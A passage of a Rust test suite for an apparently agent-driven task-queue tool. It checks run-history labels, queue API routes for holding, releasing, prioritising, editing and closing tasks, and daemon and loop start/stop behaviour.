10154 assert_eq!(f.nodes[1].note, Some("interrupted"));
10155 assert_eq!(
10156 f.nodes[1].status, None,
10157 "no outcome copied onto an earlier pass"
10158 );
10159 assert_eq!(
10160 f.edges[1].attempt,
10161 AttemptCost::Unknown,
10162 "a resume does not prove the earlier pass was refunded"
10163 );
10164 assert!(f.edges[1].label.contains("resume the same run"));
10165 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10166 assert_eq!(
10167 f.edges[2].label,
10168 "stalled after a resume, refund unknown \u{2192} queued"
10169 );
10170 assert!(!f.nodes[2].decided, "a stall is not a decision");
10171 assert_eq!(f.nodes[2].note, Some("no verdict"));
10172 }
10173
10174 #[test]
10175 fn flow_single_pass_quota_stall_is_refunded() {
10176 let t = flow_task(&[FA]);
10177 let f = flow_for(
10178 &t,
10179 &[(
10180 FA,
10181 Some(flow_run(RunStatus::Stalled, |s| {
10182 s.quota.push(crate::run::QuotaLoss {
10183 seat: "judge-1".to_owned(),
10184 node: "judge".to_owned(),
10185 at: Timestamp::now(),
10186 reset: None,
10187 })
10188 })),
10189 )],
10190 );
10191 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10192 }
10193
10194 #[test]
10195 fn flow_parked_refunds_and_stall_without_quota_spends() {
10196 let mut t = flow_task(&[FA]);
10197 t.status = TaskStatus::Queued;
10198 let f = flow_for(
10199 &t,
10200 &[(
10201 FA,
10202 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10203 )],
10204 );
10205 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10206 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10207 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10208 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10209 assert!(!f.nodes[1].decided);
10210 }
10211
10212 #[test]
10213 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10214 let t = flow_task(&[FA, FB]);
10215 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10216 assert_eq!(f.nodes[1].note, Some("unreadable"));
10217 assert!(!f.nodes[1].readable);
10218 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10219 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10220 }
10221
10222 #[test]
10223 fn flow_names_the_branch_of_a_review_only_run() {
10224 let t = flow_task(&[FA]);
10225 let f = flow_for(
10226 &t,
10227 &[(
10228 FA,
10229 Some(flow_run(RunStatus::Merged, |s| {
10230 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10231 })),
10232 )],
10233 );
10234 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10235 assert_eq!(
10236 f.nodes[1].detail.as_deref(),
10237 Some("review-only run of branch magi/x/A")
10238 );
10239 }
10240
10241 #[test]
10242 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10243 let mut t = flow_task(&[FA]);
10244 t.status = TaskStatus::Held;
10245 let pr = crate::run::PrRecord {
10246 url: "https://example.test/pr/1".to_owned(),
10247 number: 1,
10248 state: "open".to_owned(),
10249 checks: "green".to_owned(),
10250 round: 0,
10251 rounds: 3,
10252 red_at_merge: Vec::new(),
10253 };
10254 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10255 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10256 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10257 t.status = TaskStatus::Done;
10258 let f = flow_for(&t, &[(FA, Some(blocked))]);
10259 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10260 }
10261
10262 #[test]
10263 fn flow_with_no_runs_goes_from_queued_to_queued() {
10264 let t = flow_task(&[]);
10265 let f = flow_for(&t, &[]);
10266 assert_eq!(f.nodes.len(), 2);
10267 assert_eq!(f.edges.len(), 1);
10268 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10269 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10270 }
10271
10272 #[test]
10275 fn a_parked_non_terminal_run_is_explained_as_parked() {
10276 let mut s = RunState::new(
10277 PathBuf::from("/repo/magi"),
10278 "main".to_owned(),
10279 "0123456789abcdef".to_owned(),
10280 "Do it".to_owned(),
10281 Config::default(),
10282 );
10283 s.status = RunStatus::Implementing;
10284 s.parked = true;
10285 let task = Task::new(
10286 "t".to_owned(),
10287 "Do it".to_owned(),
10288 PathBuf::from("/repo/magi"),
10289 Source::Human,
10290 );
10291 let v = task_run_view(
10292 "20260902-140501-aaaa",
10293 Some(&s),
10294 RunSlot {
10295 n: 1,
10296 resumed: false,
10297 resumed_later: None,
10298 prior: None,
10299 last: true,
10300 },
10301 &task,
10302 );
10303 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10304 }
10305
10306 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10307 let mut s = flow_run(RunStatus::Implementing, edit);
10308 s.parked = false;
10309 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10310 task_run_view(
10311 "20260902-140501-aaaa",
10312 Some(&s),
10313 RunSlot {
10314 n: 1,
10315 resumed: false,
10316 resumed_later: Some(2),
10317 prior: None,
10318 last: false,
10319 },
10320 &task,
10321 )
10322 }
10323
10324 #[test]
10325 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10326 let v = earlier_pass_view(|_| {});
10327 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10328 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10329 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10330 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10331 assert_eq!(v.exit, RunExit::Interrupted);
10332 assert_eq!(v.attempt, AttemptCost::Unknown);
10333 }
10334
10335 #[test]
10336 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10337 let v = earlier_pass_view(|s| {
10338 s.quota.push(crate::run::QuotaLoss {
10339 seat: "judge-1".to_owned(),
10340 node: "judge".to_owned(),
10341 at: Timestamp::now(),
10342 reset: None,
10343 });
10344 });
10345 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10346 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10347 assert_eq!(v.attempt, AttemptCost::Unknown);
10348 }
10349
10350 #[test]
10351 fn the_current_pass_states_its_recorded_cause_and_cost() {
10352 let slot = || RunSlot {
10353 n: 1,
10354 resumed: false,
10355 resumed_later: None,
10356 prior: None,
10357 last: true,
10358 };
10359 let task = flow_task(&["20260902-140501-aaaa"]);
10360 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10361 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10362 assert_eq!(
10363 (v.exit, v.attempt),
10364 (RunExit::Parked, AttemptCost::Refunded)
10365 );
10366 let spent = flow_run(RunStatus::Blocked, |_| {});
10367 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10368 assert_eq!(v.attempt, AttemptCost::Spent);
10369 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10370 }
10371
10372 #[tokio::test]
10373 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10374 let f = Fixture::start().await;
10375 let queue = f.queue();
10376 let mut task = Task::new(
10377 "spent".to_owned(),
10378 "Try again".to_owned(),
10379 PathBuf::from("/repo/magi"),
10380 Source::Human,
10381 );
10382 task.start("20260902-140502-bbbb".to_owned());
10383 task.fail("agent gave up", 9);
10384 queue.put(&mut task).expect("file the task");
10385
10386 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10387 assert_eq!(held.status, 200);
10388 assert_eq!(held.json()["status_str"], "held");
10389
10390 let released = f
10391 .post(&format!("/api/queue/{}/release", task.id), None)
10392 .await;
10393 assert_eq!(released.status, 200);
10394 assert_eq!(released.json()["status_str"], "queued");
10395 assert_eq!(
10396 released.json()["attempts"],
10397 0,
10398 "release is a real second chance, not an instant re-hold"
10399 );
10400 assert_eq!(
10401 queue.get(&task.id).expect("reload").status,
10402 TaskStatus::Queued,
10403 "the change is on disk, not only in the reply"
10404 );
10405 assert!(
10406 !f.home
10407 .path()
10408 .join("queue")
10409 .join(format!("{}.lock", task.id))
10410 .exists(),
10411 "the claim the mutation took is released again"
10412 );
10413 }
10414
10415 #[tokio::test]
10416 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10417 let f = Fixture::start().await;
10418 let queue = f.queue();
10419 let mut task = Task::new(
10420 "busy".to_owned(),
10421 "Running right now".to_owned(),
10422 PathBuf::from("/repo/magi"),
10423 Source::Human,
10424 );
10425 queue.put(&mut task).expect("file the task");
10426 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10427
10428 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10429
10430 assert_eq!(res.status, 409);
10431 assert_eq!(
10432 queue.get(&task.id).expect("reload").status,
10433 TaskStatus::Queued,
10434 "the refused hold changed nothing"
10435 );
10436 }
10437
10438 #[tokio::test]
10439 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10440 let f = Fixture::start().await;
10441 let queue = f.queue();
10442 let mut task = Task::new(
10443 "waiting on the migration".to_owned(),
10444 "Do the thing".to_owned(),
10445 PathBuf::from("/repo/magi"),
10446 Source::Human,
10447 );
10448 queue.put(&mut task).expect("file the task");
10449
10450 let held = f
10451 .post(
10452 &format!("/api/queue/{}/hold", task.id),
10453 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10454 )
10455 .await;
10456 assert_eq!(held.status, 200, "{}", held.body);
10457 assert_eq!(held.json()["status_str"], "held");
10458 assert_eq!(
10459 held.json()["hold_reason"],
10460 "waiting for 20260101-000000-aaaa to land"
10461 );
10462
10463 let listed = f.get("/api/queue").await.json();
10464 assert_eq!(
10465 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10466 "the card reads the reason off the same list route"
10467 );
10468
10469 let mut plain = Task::new(
10472 "no reason given".to_owned(),
10473 "Do another thing".to_owned(),
10474 PathBuf::from("/repo/magi"),
10475 Source::Human,
10476 );
10477 queue.put(&mut plain).expect("file the task");
10478 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10479 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10480 assert!(held_plain.json()["hold_reason"].is_null());
10481
10482 let released = f
10483 .post(&format!("/api/queue/{}/release", task.id), None)
10484 .await;
10485 assert_eq!(released.status, 200);
10486 assert!(
10487 released.json()["hold_reason"].is_null(),
10488 "a release must clear the reason so the next hold does not inherit it"
10489 );
10490 }
10491
10492 #[tokio::test]
10493 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10494 let f = Fixture::start().await;
10495 let queue = f.queue();
10496 let mut older = Task::new(
10497 "filed first".to_owned(),
10498 "x".to_owned(),
10499 PathBuf::from("/repo/magi"),
10500 Source::Human,
10501 );
10502 older.id = "20260101-000001-aaaa".to_owned();
10503 let mut newer = Task::new(
10504 "filed second".to_owned(),
10505 "x".to_owned(),
10506 PathBuf::from("/repo/magi"),
10507 Source::Human,
10508 );
10509 newer.id = "20260101-000002-bbbb".to_owned();
10510 queue.put(&mut older).expect("file older");
10511 queue.put(&mut newer).expect("file newer");
10512
10513 let before = f.get("/api/queue").await.json();
10516 assert_eq!(before[0]["id"], newer.id);
10517 assert_eq!(before[1]["id"], older.id);
10518
10519 let raised = f
10523 .post(
10524 &format!("/api/queue/{}/priority", older.id),
10525 Some(r#"{"priority":10}"#),
10526 )
10527 .await;
10528 assert_eq!(raised.status, 200, "{}", raised.body);
10529 assert_eq!(raised.json()["priority"], 10);
10530
10531 let after = f.get("/api/queue").await.json();
10532 let names: Vec<&str> = after
10533 .as_array()
10534 .unwrap()
10535 .iter()
10536 .map(|t| t["id"].as_str().unwrap())
10537 .collect();
10538 assert_eq!(names[0], older.id, "the raised task now sorts first");
10542 }
10543
10544 #[tokio::test]
10545 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10546 let f = Fixture::start().await;
10547 let queue = f.queue();
10548 let mut task = Task::new(
10549 "in flight".to_owned(),
10550 "x".to_owned(),
10551 PathBuf::from("/repo/magi"),
10552 Source::Human,
10553 );
10554 task.start("20260902-140502-bbbb".to_owned());
10555 queue.put(&mut task).expect("file the task");
10556
10557 let res = f
10558 .post(
10559 &format!("/api/queue/{}/priority", task.id),
10560 Some(r#"{"priority":9}"#),
10561 )
10562 .await;
10563 assert_eq!(res.status, 400, "{}", res.body);
10564 assert!(
10565 res.json()["error"]
10566 .as_str()
10567 .is_some_and(|e| e.contains("running")),
10568 "{}",
10569 res.body
10570 );
10571 assert_eq!(
10572 queue.get(&task.id).expect("reload").priority,
10573 0,
10574 "the refused write must not partially apply"
10575 );
10576 }
10577
10578 #[tokio::test]
10579 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10580 let f = Fixture::start().await;
10581 let queue = f.queue();
10582 let mut task = Task::new(
10583 "old title".to_owned(),
10584 "old instruction".to_owned(),
10585 PathBuf::from("/repo/magi"),
10586 Source::Agent {
10587 run: "20260101-000000-beef".to_owned(),
10588 node: "implement".to_owned(),
10589 },
10590 );
10591 task.runs.push("20260101-000000-beef".to_owned());
10592 queue.put(&mut task).expect("file the task");
10593 let created_at = task.created_at;
10594
10595 let edited = f
10596 .post(
10597 &format!("/api/queue/{}/edit", task.id),
10598 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10599 )
10600 .await;
10601 assert_eq!(edited.status, 200, "{}", edited.body);
10602 let body = edited.json();
10603 assert_eq!(body["title"], "new title");
10604 assert_eq!(body["instruction"], "new instruction");
10605 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10606 assert_eq!(body["created_at"], created_at.to_string());
10607 assert_eq!(
10608 body["source"]["kind"], "agent",
10609 "editing a task an agent filed must not turn it human: {body}"
10610 );
10611 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10612
10613 let reloaded = queue.get(&task.id).expect("reload");
10614 assert_eq!(reloaded.title, "new title");
10615 assert_eq!(reloaded.instruction, "new instruction");
10616 }
10617
10618 #[tokio::test]
10619 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10620 let tmp = TempDir::new().expect("tempdir");
10623 let repo = tmp.path().join("repo");
10624 std::fs::create_dir_all(&repo).expect("repo dir");
10625 let judge = MOCK_AGENT_TOML.replace(
10626 "printf ok",
10627 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10628 );
10629 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10630 let f = Fixture::with_repo(repo.clone()).await;
10631 let queue = f.queue();
10632 let mut owner = Task::new(
10633 "owner".to_owned(),
10634 "review it".to_owned(),
10635 repo.clone(),
10636 Source::Human,
10637 );
10638 owner.review_branch = Some("magi/ab12/A".to_owned());
10639 queue.put(&mut owner).expect("file the owner");
10640 let mut task = Task::new(
10641 "draft".to_owned(),
10642 "old".to_owned(),
10643 repo.clone(),
10644 Source::Human,
10645 );
10646 queue.put(&mut task).expect("file the draft");
10647 let url = format!("/api/queue/{}/edit", task.id);
10648
10649 let refused = f
10650 .post(
10651 &url,
10652 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10653 )
10654 .await;
10655 assert_eq!(refused.status, 409, "{}", refused.body);
10656 let msg = refused.json()["error"]
10657 .as_str()
10658 .unwrap_or_default()
10659 .to_owned();
10660 assert!(
10661 msg.contains("magi/ab12/A") && msg.contains("force"),
10662 "{msg}"
10663 );
10664 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10665
10666 let forced = f
10667 .post(
10668 &url,
10669 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10670 )
10671 .await;
10672 assert_eq!(forced.status, 200, "{}", forced.body);
10673 }
10674
10675 #[tokio::test]
10676 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10677 let f = Fixture::start().await;
10678 let queue = f.queue();
10679 let mut task = Task::new(
10680 "in flight".to_owned(),
10681 "do not touch".to_owned(),
10682 PathBuf::from("/repo/magi"),
10683 Source::Human,
10684 );
10685 task.start("20260902-140502-bbbb".to_owned());
10686 queue.put(&mut task).expect("file the task");
10687
10688 let res = f
10689 .post(
10690 &format!("/api/queue/{}/edit", task.id),
10691 Some(r#"{"title":"x","instruction":"y"}"#),
10692 )
10693 .await;
10694 assert_eq!(res.status, 400, "{}", res.body);
10695 assert!(
10696 res.json()["error"]
10697 .as_str()
10698 .is_some_and(|e| e.contains("running")),
10699 "{}",
10700 res.body
10701 );
10702 assert_eq!(
10703 queue.get(&task.id).expect("reload").instruction,
10704 "do not touch",
10705 "the refused edit must not change the file"
10706 );
10707 }
10708
10709 #[tokio::test]
10710 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10711 let f = Fixture::start().await;
10712 let queue = f.queue();
10713 let mut task = Task::new(
10714 "busy".to_owned(),
10715 "Running right now".to_owned(),
10716 PathBuf::from("/repo/magi"),
10717 Source::Human,
10718 );
10719 queue.put(&mut task).expect("file the task");
10720 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10721
10722 let priority = f
10723 .post(
10724 &format!("/api/queue/{}/priority", task.id),
10725 Some(r#"{"priority":9}"#),
10726 )
10727 .await;
10728 assert_eq!(priority.status, 409, "{}", priority.body);
10729
10730 let edit = f
10731 .post(
10732 &format!("/api/queue/{}/edit", task.id),
10733 Some(r#"{"title":"x","instruction":"y"}"#),
10734 )
10735 .await;
10736 assert_eq!(edit.status, 409, "{}", edit.body);
10737 }
10738
10739 #[tokio::test]
10740 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10741 let f = Fixture::start().await;
10742 let queue = f.queue();
10743 let mut task = Task::new(
10744 "shipped by hand".to_owned(),
10745 "merged outside the loop".to_owned(),
10746 PathBuf::from("/repo/magi"),
10747 Source::Agent {
10748 run: "20260101-000000-b455".to_owned(),
10749 node: "implement".to_owned(),
10750 },
10751 );
10752 task.runs.push("20260101-000000-b455".to_owned());
10753 task.runs.push("20260101-000000-9af4".to_owned());
10754 queue.put(&mut task).expect("file the task");
10755 let created_at = task.created_at;
10756
10757 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10758 assert_eq!(done.status, 200, "{}", done.body);
10759 assert_eq!(done.json()["status_str"], "done");
10760
10761 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10762 assert_eq!(
10763 reloaded.runs,
10764 ["20260101-000000-b455", "20260101-000000-9af4"]
10765 );
10766 assert_eq!(
10767 reloaded.source,
10768 Source::Agent {
10769 run: "20260101-000000-b455".to_owned(),
10770 node: "implement".to_owned(),
10771 }
10772 );
10773 assert_eq!(reloaded.created_at, created_at);
10774 }
10775
10776 #[tokio::test]
10777 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10778 let f = Fixture::start().await;
10783 let queue = f.queue();
10784 let mut task = Task::new(
10785 "landed while held".to_owned(),
10786 "x".to_owned(),
10787 PathBuf::from("/repo/magi"),
10788 Source::Human,
10789 );
10790 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10791 queue.put(&mut task).expect("file the held task");
10792
10793 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10794 assert_eq!(done.status, 200, "{}", done.body);
10795 assert_eq!(done.json()["status_str"], "done");
10796 assert!(
10797 done.json()["hold_reason"].is_null(),
10798 "a done task cannot still be waiting on something: {}",
10799 done.body
10800 );
10801 }
10802
10803 #[tokio::test]
10804 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10805 let f = Fixture::start().await;
10810 let queue = f.queue();
10811 let runs = f.runs();
10812 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10813 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10817
10818 let mut task = Task::new(
10819 "landed by hand".to_owned(),
10820 "x".to_owned(),
10821 PathBuf::from("/repo/magi"),
10822 Source::Human,
10823 );
10824 task.runs.push("20260101-000000-doa1".to_owned());
10825 task.runs.push("20260101-000000-doa2".to_owned());
10826 queue.put(&mut task).expect("file the task");
10827
10828 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10829 assert_eq!(done.status, 200, "{}", done.body);
10830
10831 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10832 .expect("run still on disk under this fixture's own home");
10833 assert_eq!(
10834 reloaded_run.status,
10835 RunStatus::Superseded,
10836 "closing the task by hand must relabel the earlier blocked attempt exactly \
10837 like the loop's own settle path does"
10838 );
10839 }
10840
10841 #[tokio::test]
10842 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10843 let f = Fixture::start().await;
10848 let queue = f.queue();
10849 let runs = f.runs();
10850 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10851 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10852
10853 let mut task = Task::new(
10854 "closed with nothing actually landed".to_owned(),
10855 "x".to_owned(),
10856 PathBuf::from("/repo/magi"),
10857 Source::Human,
10858 );
10859 task.runs.push("20260101-000000-dob1".to_owned());
10860 task.runs.push("20260101-000000-dob2".to_owned());
10861 queue.put(&mut task).expect("file the task");
10862
10863 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10864 assert_eq!(done.status, 200, "{}", done.body);
10865
10866 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10867 .expect("run still on disk under this fixture's own home");
10868 assert_eq!(
10869 reloaded_run.status,
10870 RunStatus::Blocked,
10871 "the last recorded attempt never landed, so the earlier one must not be \
10872 relabelled as superseded by it"
10873 );
10874 }
10875
10876 #[tokio::test]
10877 async fn unknown_ids_are_json_not_found_on_both_stores() {
10878 let f = Fixture::start().await;
10879
10880 let run = f.get("/api/runs/nosuchrun").await;
10881 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10882
10883 assert_eq!(run.status, 404);
10884 assert_eq!(task.status, 404);
10885 assert!(
10886 run.json()["error"]
10887 .as_str()
10888 .is_some_and(|e| e.contains("run")),
10889 "the error names what was not found: {}",
10890 run.body
10891 );
10892 assert!(
10893 task.json()["error"]
10894 .as_str()
10895 .is_some_and(|e| e.contains("task")),
10896 "the error names what was not found: {}",
10897 task.body
10898 );
10899 }
10900
10901 #[tokio::test]
10902 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10903 let f = Fixture::start().await;
10904
10905 let missing = f.get("/api/health").await.json();
10906 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10907
10908 write_daemon(
10909 f.home.path(),
10910 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10911 );
10912 let stale = f.get("/api/health").await.json();
10913 assert_eq!(
10914 stale["daemon"]["running"], false,
10915 "a minute without a heartbeat is a dead daemon, not a busy one"
10916 );
10917 assert!(
10918 stale["daemon"]["stale_for_secs"]
10919 .as_i64()
10920 .is_some_and(|s| s >= 55),
10921 "staleness is reported so the UI can say how long: {stale}"
10922 );
10923
10924 write_daemon(f.home.path(), Timestamp::now());
10925 let fresh = f.get("/api/health").await.json();
10926 assert_eq!(fresh["daemon"]["running"], true);
10927 assert_eq!(fresh["daemon"]["idle"], false);
10928 assert_eq!(fresh["daemon"]["pid"], 4242);
10929 assert_eq!(fresh["daemon"]["completed"], 7);
10930 assert_eq!(
10931 fresh["daemon"]["current"][0]["task"],
10932 "20260902-140501-aaaa"
10933 );
10934 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10935 }
10936
10937 #[tokio::test]
10938 async fn the_loop_is_not_running_until_something_starts_it() {
10939 let f = Fixture::start().await;
10940
10941 let view = f.get("/api/loop").await.json();
10942 assert_eq!(view["running"], false);
10943 assert_eq!(
10944 view["owned"], false,
10945 "nobody owns a loop that does not exist: {view}"
10946 );
10947 assert_eq!(view["stopping"], false);
10948 assert_eq!(view["last_error"], Value::Null);
10949 assert_eq!(view["daemon"]["running"], false);
10950 assert_eq!(
10951 view["repo"], "/repo/magi",
10952 "the repository a start would use, named before it is started"
10953 );
10954 }
10955
10956 #[tokio::test]
10957 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10958 let f = Fixture::start().await;
10959
10960 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10961 assert_eq!(res.status, 200, "{}", res.body);
10962 let view = res.json();
10963 assert_eq!(view["running"], true);
10964 assert_eq!(
10965 view["owned"], true,
10966 "the loop the UI started is the UI's own to stop: {view}"
10967 );
10968 assert_eq!(
10969 view["merge"],
10970 Value::Null,
10971 "no override was given, so each repository's own config decides"
10972 );
10973
10974 let health = f.get("/api/health").await.json();
10978 assert_eq!(health["loop"]["running"], true, "{health}");
10979 assert_eq!(health["loop"]["owned"], true, "{health}");
10980
10981 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10982 }
10983
10984 #[tokio::test]
10985 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10986 let f = Fixture::start().await;
10987 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10988 assert_eq!(first.status, 200, "{}", first.body);
10989
10990 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10991 assert_eq!(
10992 again.status, 409,
10993 "two loops on one queue race for the same claims: {}",
10994 again.body
10995 );
10996 assert!(
10997 again.json()["error"]
10998 .as_str()
10999 .is_some_and(|e| e.contains("already running the loop")),
11000 "the refusal has to say why: {}",
11001 again.body
11002 );
11003 assert_eq!(
11004 f.get("/api/loop").await.json()["running"],
11005 true,
11006 "and the loop that was already running is untouched by it"
11007 );
11008
11009 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11010 }
11011
11012 #[tokio::test]
11013 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11014 let f = Fixture::start().await;
11015 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11016
11017 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11018 assert_eq!(
11019 res.status, 200,
11020 "the answer must not wait for the loop: a run in flight is tens of \
11021 minutes and the operator is holding a phone: {}",
11022 res.body
11023 );
11024
11025 let view = settled(&f, |v| v["running"] == false).await;
11026 assert_eq!(view["owned"], false);
11027 assert_eq!(
11028 view["stopping"], false,
11029 "a loop that has stopped is not still stopping: {view}"
11030 );
11031 assert_eq!(
11032 view["last_error"],
11033 Value::Null,
11034 "a loop that was asked to stop did not fail: {view}"
11035 );
11036
11037 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11040 assert_eq!(twice.status, 200, "{}", twice.body);
11041 }
11042
11043 #[tokio::test]
11044 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11045 let f = Fixture::start().await;
11046 write_daemon(f.home.path(), Timestamp::now());
11049
11050 let view = f.get("/api/loop").await.json();
11051 assert_eq!(view["running"], false, "not in this process: {view}");
11052 assert_eq!(view["owned"], false, "and not this process's to control");
11053 assert_eq!(
11054 view["daemon"]["running"], true,
11055 "but a loop is alive somewhere, which is what the UI must say"
11056 );
11057 assert_eq!(view["daemon"]["pid"], 4242);
11058
11059 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11060 let res = f.post("/api/loop", Some(body)).await;
11061 assert_eq!(
11062 res.status, 409,
11063 "neither button may pretend to work on someone else's loop: {}",
11064 res.body
11065 );
11066 assert!(
11067 res.json()["error"]
11068 .as_str()
11069 .is_some_and(|e| e.contains("4242")),
11070 "the refusal has to name the process the operator must go to: {}",
11071 res.body
11072 );
11073 }
11074 assert_eq!(
11075 f.get("/api/loop").await.json()["running"],
11076 false,
11077 "and the refusal started nothing"
11078 );
11079 }
11080
11081 #[tokio::test]
11082 async fn a_stale_status_file_is_not_a_foreign_owner() {
11083 let f = Fixture::start().await;
11084 write_daemon(
11085 f.home.path(),
11086 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11087 );
11088
11089 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11090 assert_eq!(
11091 res.status, 200,
11092 "a daemon killed a minute ago must not lock the loop out of its \
11093 own home for good: {}",
11094 res.body
11095 );
11096 assert_eq!(res.json()["running"], true);
11097
11098 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11099 }
11100
11101 #[tokio::test]
11102 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11103 let f = Fixture::start().await;
11104 let before = f.get("/api/health").await.json()["loop_rev"]
11105 .as_u64()
11106 .expect("a loop revision");
11107
11108 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11109
11110 let after = f.get("/api/health").await.json()["loop_rev"]
11111 .as_u64()
11112 .expect("a loop revision");
11113 assert!(
11114 after > before,
11115 "the loop is in-process state, so this counter is the only thing \
11116 that tells a second device the first one started it: {before} -> \
11117 {after}"
11118 );
11119
11120 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11121 }
11122
11123 #[tokio::test]
11124 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11125 let f = Fixture::with_loop(launch_broken).await;
11126
11127 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11128 assert_eq!(
11129 res.status, 200,
11130 "starting it is not the failure: {}",
11131 res.body
11132 );
11133
11134 let view = settled(&f, |v| v["last_error"].is_string()).await;
11135 assert_eq!(
11136 view["running"], false,
11137 "a loop that died must not read as running, or the operator has \
11138 nothing to press: {view}"
11139 );
11140 assert_eq!(view["owned"], false);
11141 assert!(
11142 view["last_error"]
11143 .as_str()
11144 .is_some_and(|e| e.contains("read-only file system")),
11145 "the phone is where a loop that died at 3am is visible: {view}"
11146 );
11147
11148 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
